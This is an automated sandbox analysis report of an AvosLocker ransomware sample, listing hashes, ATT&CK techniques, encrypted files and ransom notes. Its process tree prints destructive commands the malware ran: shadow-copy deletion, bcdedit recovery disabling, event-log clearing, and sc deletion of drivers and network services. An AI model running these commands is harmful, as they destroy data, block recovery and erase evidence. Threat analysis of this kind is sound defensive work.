avoslocker | 6691acccbdf4630f8bb6d491484976150c5d88688f997f8456b1d18f806b4ede

Analysis

max time kernel
3s
max time network
16s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
29-12-2024 05:21

Sharing

Copy URL

Twitter E-mail

Reason

Machine shutdown

Report Analysis Logs

General

Target

test.exe
Size

1.2MB
MD5

504fc83d83e74187898fa5e48f7aa755
SHA1

0a5c61c8a21df9c5a84424e1024caa1efd336b4f
SHA256

6691acccbdf4630f8bb6d491484976150c5d88688f997f8456b1d18f806b4ede
SHA512

7b5c470bdf915487c480b4f713e8d5d505d2464f4170f271a70c766ed3b7c21124445a7c76acf651519c428ad319c0d634ade7b0bbbb7a769598ce0c8b110066
SSDEEP

24576:GImw98okVgela0as5CqLVO7XJCjkD3N0HRAiy:4L5ljasaU

Score

10^/10

avoslocker defense_evasion discovery evasion execution impact ransomware

Malware Config

Signatures

Avoslocker Ransomware
Avoslocker is a relatively new ransomware, that was observed in late June and early July, 2021.
ransomware avoslocker
Avoslocker family
avoslocker
Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
3028	bcdedit.exe
3252	bcdedit.exe

Renames multiple (1451) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware
Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 3 IoCs

pid	Process
2408	NyaNyaSIM.exe
2792	hack.exe
1120	Process not Found

Loads dropped DLL 3 IoCs

pid	Process
3056	test.exe
3056	test.exe
2704	Process not Found

Enumerates connected drives 3 TTPs 1 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\Z:	hack.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\Windows Sidebar\Gadgets\Clock.Gadget\images\cronometer_h.png	hack.exe
File created	C:\Program Files (x86)\Windows NT\Accessories\fr-FR\GET_YOUR_FILES_BACK.txt	hack.exe
File opened for modification	C:\Program Files (x86)\Microsoft Visual Studio 8\Common7\IDE\VSTA\ItemTemplates\VisualBasic\1033\Class.zip	hack.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Templates\1033\Access\Part\2 Right.accdt	hack.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\Gadgets\Weather.Gadget\en-US\js\weather.js	hack.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\Gadgets\SlideShow.Gadget\de-DE\css\settings.css	hack.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\Gadgets\PicturePuzzle.Gadget\es-ES\settings.html	hack.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\fr-FR\MpEvMsg.dll.mui	hack.exe
File opened for modification	C:\Program Files (x86)\Windows Media Player\es-ES\wmpnssci.dll.mui	hack.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\PUBWIZ\BRCHUR11.POC	hack.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\Gadgets\RSSFeeds.Gadget\images\rssBackBlue_docked.png	hack.exe
File opened for modification	C:\Program Files (x86)\Windows Photo Viewer\it-IT\ImagingDevices.exe.mui	hack.exe
File created	C:\Program Files (x86)\Windows Sidebar\Gadgets\PicturePuzzle.Gadget\fr-FR\css\GET_YOUR_FILES_BACK.txt	hack.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\Gadgets\PicturePuzzle.Gadget\Images\setting_back.png	hack.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\Gadgets\Clock.Gadget\logo.png	hack.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\PUBWIZ\BORDERBB.DPV	hack.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\PUBWIZ\WEB11.POC	hack.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\PUBWIZ\BAN98.POC	hack.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\Gadgets\Calendar.Gadget\fr-FR\css\calendar.css	hack.exe
File opened for modification	C:\Program Files (x86)\Windows Media Player\Media Renderer\connectionmanager_dmr.xml	hack.exe
File opened for modification	C:\Program Files (x86)\Microsoft Visual Studio 8\Common7\IDE\VSTA\ItemTemplates\VisualBasic\1033\Form.zip	hack.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\Gadgets\Weather.Gadget\images\undocked_gray_cloudy.png	hack.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\Gadgets\Currency.Gadget\fr-FR\currency.html	hack.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\Gadgets\PicturePuzzle.Gadget\Images\9.png	hack.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\Gadgets\Clock.Gadget\images\settings_divider.png	hack.exe
File opened for modification	C:\Program Files (x86)\Windows NT\TableTextService\TableTextServiceAmharic.txt	hack.exe
File created	C:\Program Files (x86)\Windows Sidebar\Gadgets\Weather.Gadget\fr-FR\GET_YOUR_FILES_BACK.txt	hack.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\Gadgets\SlideShow.Gadget\fr-FR\css\slideShow.css	hack.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\Gadgets\RSSFeeds.Gadget\ja-JP\css\flyout.css	hack.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\en-US\MpEvMsg.dll.mui	hack.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Templates\1033\Access\Projects.accdt	hack.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\PROOF\MSHY7ES.LEX	hack.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Templates\1033\MedianResume.Dotx	hack.exe
File created	C:\Program Files (x86)\Microsoft Sync Framework\v1.0\Runtime\x86\GET_YOUR_FILES_BACK.txt	hack.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\settings.ini	hack.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\Gadgets\Weather.Gadget\ja-JP\gadget.xml	hack.exe
File opened for modification	C:\Program Files (x86)\Windows Media Player\it-IT\WMPDMCCore.dll.mui	hack.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\Gadgets\Clock.Gadget\en-US\gadget.xml	hack.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\PUBWIZ\DGSIDEBR.DPV	hack.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\PUBWIZ\MENU98.POC	hack.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\Gadgets\PicturePuzzle.Gadget\fr-FR\css\settings.css	hack.exe
File created	C:\Program Files (x86)\Windows Sidebar\Gadgets\Currency.Gadget\it-IT\js\GET_YOUR_FILES_BACK.txt	hack.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\Gadgets\Currency.Gadget\es-ES\js\init.js	hack.exe
File opened for modification	C:\Program Files (x86)\Windows NT\TableTextService\de-DE\TableTextService.dll.mui	hack.exe
File created	C:\Program Files (x86)\Microsoft Visual Studio 8\GET_YOUR_FILES_BACK.txt	hack.exe
File opened for modification	C:\Program Files (x86)\Microsoft Visual Studio 8\Common7\IDE\VSTA\ItemTemplates\VisualBasic\1033\AssemblyInfoInternal.zip	hack.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\MSPUB.TLB	hack.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\PUBWIZ\GREETING.DPV	hack.exe
File created	C:\Program Files (x86)\Windows Sidebar\Gadgets\Currency.Gadget\en-US\js\GET_YOUR_FILES_BACK.txt	hack.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\Gadgets\Clock.Gadget\images\diner.png	hack.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\de-DE\MpEvMsg.dll.mui	hack.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Stationery\1033\NOTEBOOK.JPG	hack.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\Gadgets\Weather.Gadget\de-DE\js\highDpiImageSwap.js	hack.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\Gadgets\Clock.Gadget\images\settings_box_divider_right.png	hack.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\Gadgets\Calendar.Gadget\images\curl-hot.png	hack.exe
File opened for modification	C:\Program Files (x86)\Microsoft Visual Studio 8\Common7\IDE\VSTA\ItemTemplates\CSharp\1033\ResourceInternal.zip	hack.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\Gadgets\Currency.Gadget\de-DE\css\currency.css	hack.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\Gadgets\Weather.Gadget\images\undocked_black_moon-first-quarter.png	hack.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Templates\1033\Access\Contacts.accdt	hack.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\ja-JP\sbdrop.dll.mui	hack.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\Gadgets\Clock.Gadget\images\flower_settings.png	hack.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\Gadgets\Clock.Gadget\fr-FR\css\settings.css	hack.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Templates\1033\UrbanReport.Dotx	hack.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\PUBWIZ\DGCAL.XML	hack.exe

Launches sc.exe 8 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4568	sc.exe
3852	sc.exe
1856	sc.exe
3828	sc.exe
1308	sc.exe
3396	sc.exe
3748	sc.exe
1464	sc.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1628	powershell.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	hack.exe

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
3420	vssadmin.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2792	hack.exe
1628	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeTakeOwnershipPrivilege	2792	hack.exe
Token: SeIncreaseQuotaPrivilege	3032	WMIC.exe
Token: SeSecurityPrivilege	3032	WMIC.exe
Token: SeTakeOwnershipPrivilege	3032	WMIC.exe
Token: SeLoadDriverPrivilege	3032	WMIC.exe
Token: SeSystemProfilePrivilege	3032	WMIC.exe
Token: SeSystemtimePrivilege	3032	WMIC.exe
Token: SeProfSingleProcessPrivilege	3032	WMIC.exe
Token: SeIncBasePriorityPrivilege	3032	WMIC.exe
Token: SeCreatePagefilePrivilege	3032	WMIC.exe
Token: SeBackupPrivilege	3032	WMIC.exe
Token: SeRestorePrivilege	3032	WMIC.exe
Token: SeShutdownPrivilege	3032	WMIC.exe
Token: SeDebugPrivilege	3032	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3032	WMIC.exe
Token: SeRemoteShutdownPrivilege	3032	WMIC.exe
Token: SeUndockPrivilege	3032	WMIC.exe
Token: SeManageVolumePrivilege	3032	WMIC.exe
Token: 33	3032	WMIC.exe
Token: 34	3032	WMIC.exe
Token: 35	3032	WMIC.exe
Token: SeDebugPrivilege	1628	powershell.exe
Token: SeBackupPrivilege	1628	powershell.exe
Token: SeSecurityPrivilege	1628	powershell.exe
Token: SeBackupPrivilege	4884	vssvc.exe
Token: SeRestorePrivilege	4884	vssvc.exe
Token: SeAuditPrivilege	4884	vssvc.exe
Token: SeIncreaseQuotaPrivilege	3032	WMIC.exe
Token: SeSecurityPrivilege	3032	WMIC.exe
Token: SeTakeOwnershipPrivilege	3032	WMIC.exe
Token: SeLoadDriverPrivilege	3032	WMIC.exe
Token: SeSystemProfilePrivilege	3032	WMIC.exe
Token: SeSystemtimePrivilege	3032	WMIC.exe
Token: SeProfSingleProcessPrivilege	3032	WMIC.exe
Token: SeIncBasePriorityPrivilege	3032	WMIC.exe
Token: SeCreatePagefilePrivilege	3032	WMIC.exe
Token: SeBackupPrivilege	3032	WMIC.exe
Token: SeRestorePrivilege	3032	WMIC.exe
Token: SeShutdownPrivilege	3032	WMIC.exe
Token: SeDebugPrivilege	3032	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3032	WMIC.exe
Token: SeRemoteShutdownPrivilege	3032	WMIC.exe
Token: SeUndockPrivilege	3032	WMIC.exe
Token: SeManageVolumePrivilege	3032	WMIC.exe
Token: 33	3032	WMIC.exe
Token: 34	3032	WMIC.exe
Token: 35	3032	WMIC.exe
Token: SeBackupPrivilege	1628	powershell.exe
Token: SeBackupPrivilege	1628	powershell.exe
Token: SeSecurityPrivilege	1628	powershell.exe
Token: SeBackupPrivilege	1628	powershell.exe
Token: SeBackupPrivilege	1628	powershell.exe
Token: SeSecurityPrivilege	1628	powershell.exe
Token: SeBackupPrivilege	1628	powershell.exe
Token: SeBackupPrivilege	1628	powershell.exe
Token: SeSecurityPrivilege	1628	powershell.exe
Token: SeBackupPrivilege	1628	powershell.exe
Token: SeBackupPrivilege	1628	powershell.exe
Token: SeSecurityPrivilege	1628	powershell.exe
Token: SeBackupPrivilege	1628	powershell.exe
Token: SeBackupPrivilege	1628	powershell.exe
Token: SeSecurityPrivilege	1628	powershell.exe
Token: SeBackupPrivilege	1628	powershell.exe
Token: SeSecurityPrivilege	1628	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3056 wrote to memory of 2408	3056	test.exe	31
PID 3056 wrote to memory of 2408	3056	test.exe	31
PID 3056 wrote to memory of 2408	3056	test.exe	31
PID 3056 wrote to memory of 2792	3056	test.exe	32
PID 3056 wrote to memory of 2792	3056	test.exe	32
PID 3056 wrote to memory of 2792	3056	test.exe	32
PID 3056 wrote to memory of 2792	3056	test.exe	32
PID 2408 wrote to memory of 2088	2408	NyaNyaSIM.exe	35
PID 2408 wrote to memory of 2088	2408	NyaNyaSIM.exe	35
PID 2408 wrote to memory of 2088	2408	NyaNyaSIM.exe	35
PID 2792 wrote to memory of 2668	2792	hack.exe	36
PID 2792 wrote to memory of 2668	2792	hack.exe	36
PID 2792 wrote to memory of 2668	2792	hack.exe	36
PID 2792 wrote to memory of 2668	2792	hack.exe	36
PID 2792 wrote to memory of 2832	2792	hack.exe	37
PID 2792 wrote to memory of 2832	2792	hack.exe	37
PID 2792 wrote to memory of 2832	2792	hack.exe	37
PID 2792 wrote to memory of 2832	2792	hack.exe	37
PID 2792 wrote to memory of 2752	2792	hack.exe	38
PID 2792 wrote to memory of 2752	2792	hack.exe	38
PID 2792 wrote to memory of 2752	2792	hack.exe	38
PID 2792 wrote to memory of 2752	2792	hack.exe	38
PID 2792 wrote to memory of 2732	2792	hack.exe	39
PID 2792 wrote to memory of 2732	2792	hack.exe	39
PID 2792 wrote to memory of 2732	2792	hack.exe	39
PID 2792 wrote to memory of 2732	2792	hack.exe	39
PID 2792 wrote to memory of 2796	2792	hack.exe	40
PID 2792 wrote to memory of 2796	2792	hack.exe	40
PID 2792 wrote to memory of 2796	2792	hack.exe	40
PID 2792 wrote to memory of 2796	2792	hack.exe	40
PID 2668 wrote to memory of 3032	2668	cmd.exe	41
PID 2668 wrote to memory of 3032	2668	cmd.exe	41
PID 2668 wrote to memory of 3032	2668	cmd.exe	41
PID 2752 wrote to memory of 3028	2752	cmd.exe	42
PID 2752 wrote to memory of 3028	2752	cmd.exe	42
PID 2752 wrote to memory of 3028	2752	cmd.exe	42
PID 2796 wrote to memory of 1628	2796	cmd.exe	43
PID 2796 wrote to memory of 1628	2796	cmd.exe	43
PID 2796 wrote to memory of 1628	2796	cmd.exe	43
PID 2408 wrote to memory of 3136	2408	NyaNyaSIM.exe	44
PID 2408 wrote to memory of 3136	2408	NyaNyaSIM.exe	44
PID 2408 wrote to memory of 3136	2408	NyaNyaSIM.exe	44
PID 2732 wrote to memory of 3252	2732	cmd.exe	45
PID 2732 wrote to memory of 3252	2732	cmd.exe	45
PID 2732 wrote to memory of 3252	2732	cmd.exe	45
PID 2832 wrote to memory of 3420	2832	cmd.exe	46
PID 2832 wrote to memory of 3420	2832	cmd.exe	46
PID 2832 wrote to memory of 3420	2832	cmd.exe	46
PID 3136 wrote to memory of 1552	3136	cmd.exe	47
PID 3136 wrote to memory of 1552	3136	cmd.exe	47
PID 3136 wrote to memory of 1552	3136	cmd.exe	47
PID 2408 wrote to memory of 3260	2408	NyaNyaSIM.exe	48
PID 2408 wrote to memory of 3260	2408	NyaNyaSIM.exe	48
PID 2408 wrote to memory of 3260	2408	NyaNyaSIM.exe	48
PID 3260 wrote to memory of 3396	3260	cmd.exe	49
PID 3260 wrote to memory of 3396	3260	cmd.exe	49
PID 3260 wrote to memory of 3396	3260	cmd.exe	49
PID 2408 wrote to memory of 4900	2408	NyaNyaSIM.exe	51
PID 2408 wrote to memory of 4900	2408	NyaNyaSIM.exe	51
PID 2408 wrote to memory of 4900	2408	NyaNyaSIM.exe	51
PID 4900 wrote to memory of 3748	4900	cmd.exe	52
PID 4900 wrote to memory of 3748	4900	cmd.exe	52
PID 4900 wrote to memory of 3748	4900	cmd.exe	52
PID 2408 wrote to memory of 2112	2408	NyaNyaSIM.exe	54

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\test.exe
"C:\Users\Admin\AppData\Local\Temp\test.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:3056
- C:\Users\Admin\AppData\Local\Temp\NyaNyaSIM.exe
  "C:\Users\Admin\AppData\Local\Temp\NyaNyaSIM.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2408
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c @echo off
    3⤵
    PID:2088
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c REG DELETE "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Fonts" /va /f
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3136
  - - C:\Windows\system32\reg.exe
      REG DELETE "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Fonts" /va /f
      4⤵
      PID:1552
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c sc delete \Device\Harddisk0\DR0
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3260
  - - C:\Windows\system32\sc.exe
      sc delete \Device\Harddisk0\DR0
      4⤵
      Launches sc.exe
      PID:3396
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c sc delete i8042prt
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4900
  - - C:\Windows\system32\sc.exe
      sc delete i8042prt
      4⤵
      Launches sc.exe
      PID:3748
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c sc delete kbdclass
    3⤵
    PID:2112
  - - C:\Windows\system32\sc.exe
      sc delete kbdclass
      4⤵
      Launches sc.exe
      PID:1464
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c sc delete iastorV
    3⤵
    PID:4444
  - - C:\Windows\system32\sc.exe
      sc delete iastorV
      4⤵
      Launches sc.exe
      PID:4568
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c sc delete msahci
    3⤵
    PID:3696
  - - C:\Windows\system32\sc.exe
      sc delete msahci
      4⤵
      Launches sc.exe
      PID:3852
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c sc delete NetBt
    3⤵
    PID:4068
  - - C:\Windows\system32\sc.exe
      sc delete NetBt
      4⤵
      Launches sc.exe
      PID:1856
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c sc delete Tcpip
    3⤵
    PID:4456
  - - C:\Windows\system32\sc.exe
      sc delete Tcpip
      4⤵
      Launches sc.exe
      PID:3828
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c sc delete LanmanServer
    3⤵
    PID:3444
  - - C:\Windows\system32\sc.exe
      sc delete LanmanServer
      4⤵
      Launches sc.exe
      PID:1308
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c shutdown /s /f /t 0
    3⤵
    PID:4032
  - - C:\Windows\system32\shutdown.exe
      shutdown /s /f /t 0
      4⤵
      PID:4360
- C:\Users\Admin\AppData\Local\Temp\hack.exe
  "C:\Users\Admin\AppData\Local\Temp\hack.exe"
  2⤵
  - Executes dropped EXE
  - Enumerates connected drives
  - Drops file in Program Files directory
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2792
- - C:\Windows\system32\cmd.exe
    cmd /c wmic shadowcopy delete /nointeractive
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2668
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic shadowcopy delete /nointeractive
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3032
- - C:\Windows\system32\cmd.exe
    cmd /c vssadmin.exe Delete Shadows /All /Quiet
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2832
  - - C:\Windows\system32\vssadmin.exe
      vssadmin.exe Delete Shadows /All /Quiet
      4⤵
      Interacts with shadow copies
      PID:3420
- - C:\Windows\system32\cmd.exe
    cmd /c bcdedit /set {default} recoveryenabled No
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2752
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {default} recoveryenabled No
      4⤵
      Modifies boot configuration data using bcdedit
      PID:3028
- - C:\Windows\system32\cmd.exe
    cmd /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2732
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {default} bootstatuspolicy ignoreallfailures
      4⤵
      Modifies boot configuration data using bcdedit
      PID:3252
- - C:\Windows\system32\cmd.exe
    cmd /c powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2796
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1628

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4884

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x0
1⤵
PID:3408

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x1
1⤵
PID:5676

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Indicator Removal

T1070

File Deletion

T1070.004

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\hack.exe

Filesize
807KB

MD5
e27b5291c8fb2dfdeb7f16bb6851df5e

SHA1
40207f83b601cd60905c1f807ac0889c80dfe33f

SHA256
ffd933ad53f22a0f10cceb4986087258f72dffdd36999b7014c6b37c157ee45f

SHA512
2ddbc50cd780ffbf73c354b9b437322eb49cb05bb6f287d54e7dcafb61dc4c4549e37ae2f972f3d240bfa7d2ca485b7583137f1bf038bc901f378cea0c305c6a

Download Submit
F:\GET_YOUR_FILES_BACK.txt

Filesize
1011B

MD5
c92c2b70fb37f84aab38412ad9226aa8

SHA1
14f2e9a83285612d0a7b2c83b8f89bccfde6c154

SHA256
d64639e873c0873b469cd856d1ef4bce7dc14a80fac6fe2bed9d629f05acc77f

SHA512
04f9dcb3cd49909712535255b6eadd7fafcb2902bf1abd5a25e9bb5f5c4dc032611aec0a5b0ec89cd7dbc65276b935c54b906b391507d2e3e3aa65466b15f848

Download Submit
\Users\Admin\AppData\Local\Temp\NyaNyaSIM.exe

Filesize
99KB

MD5
9a88f743a0c4f6922208327e6e9556e8

SHA1
8f7213d74fa981ae7741bca75a9836fb7083ed8e

SHA256
a96c338f38babe7cfb102f6f7e59d43489cac77d251eb3d0e57e415e0d31a4c9

SHA512
ac2d93f3f782dd5ce6029312ace2f3ddce14ebb71b9bd004cc7f685324b20575d177c2a9cc2d9416771c0184dc0dad0e366b639b2b5c00604efccf3b862c0ef7

Download Submit
memory/1628-1055-0x0000000001F40000-0x0000000001F48000-memory.dmp

Filesize
32KB

Download
memory/1628-974-0x000000001B6E0000-0x000000001B9C2000-memory.dmp

Filesize
2.9MB

Download
memory/2408-12445-0x000000013F0C0000-0x000000013F0E0000-memory.dmp

Filesize
128KB

Download
memory/2408-15589-0x000000013F0C0000-0x000000013F0E0000-memory.dmp

Filesize
128KB

Download
memory/3056-12-0x000000013FC20000-0x000000013FD61000-memory.dmp

Filesize
1.3MB

Download

Analysis

Sharing

Errors

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads